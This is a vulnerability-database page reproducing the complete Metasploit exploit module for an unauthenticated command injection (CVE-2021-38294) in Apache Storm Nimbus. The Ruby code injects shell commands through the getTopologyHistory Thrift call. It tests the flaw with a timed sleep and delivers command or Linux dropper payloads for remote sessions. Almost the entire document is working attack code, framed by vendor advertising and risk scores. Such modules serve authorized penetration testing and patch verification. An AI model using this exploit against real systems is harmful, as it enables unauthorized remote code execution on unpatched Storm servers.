Lucene search
K

Apache Storm Nimbus getTopologyHistory Unauthenticated Command Execution

🗓️ 19 Nov 2021 17:42:26Reported by Alvaro Muñoz, Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 93 Views

Apache Storm Nimbus unauthenticated command executio

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/thrift'
require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  Thrift = Rex::Proto::Thrift

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Storm Nimbus getTopologyHistory Unauthenticated Command Execution',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability within the Nimbus service component of Apache Storm.
          The getTopologyHistory RPC method method takes a single argument which is the name of a user which is
          concatenated into a string that is executed by bash. In order for the vulnerability to be exploitable, there
          must have been at least one topology submitted to the server. The topology may be active or inactive, but at
          least one must be present. Successful exploitation results in remote code execution as the user running Apache Storm.

          This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0
          which is affected.
        },
        'Author' => [
          'Alvaro Muñoz', # discovery and original research
          'Spencer McIntyre', # metasploit module
        ],
        'References' => [
          ['CVE', '2021-38294'],
          ['URL', 'https://securitylab.github.com/advisories/GHSL-2021-085-apache-storm/']
        ],
        'DisclosureDate' => '2021-10-25',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 6627,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_advanced_options(
      [
        OptInt.new('ThriftTimeout', [ true, 'Thrift response and connection timeout duration', 10 ])
      ]
    )
  end

  def check
    begin
      connect
    rescue Rex::ConnectionError
      return CheckCode::Unknown('Failed to connect to the service.')
    end

    sleep_time = rand(5..10)
    response, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_command("sleep #{sleep_time}", timeout: sleep_time + 3)
    end

    vprint_status("Elapsed time: #{elapsed_time} seconds")
    unless response && elapsed_time > sleep_time
      return CheckCode::Safe('Failed to test command injection.')
    end

    CheckCode::Appears('Successfully tested command injection.')
  end

  def exploit
    connect
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, opts = {})
    # comment out the rest of the command to ensure it's only executed once and append a random tag to avoid caching
    cmd = "#{cmd} ##{Rex::Text.rand_text_alphanumeric(4..8)}"
    vprint_status("Executing command: #{cmd}")

    @thrift_client.call(
      'getTopologyHistory',
      Thrift::ThriftData.utf7(1, ";#{cmd}"),
      Thrift::ThriftData.stop,
      timeout: opts.fetch(:timeout, datastore['ThriftTimeout'])
    )
  rescue Rex::TimeoutError
    nil
  end

  def connect
    @thrift_client = Rex::Proto::Thrift::Client.new(
      target_host,
      datastore['RPORT'],
      context: { 'Msf' => framework, 'MsfExploit' => self },
      timeout: datastore['ThriftTimeout']
    )
    @thrift_client.connect
  end

  def cleanup
    return unless @thrift_client

    @thrift_client.close
    @thrift_client = nil
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Apr 2026 19:01Current
10High risk
Vulners AI Score10
CVSS 27.5
CVSS 3.19.8
EPSS0.82064
93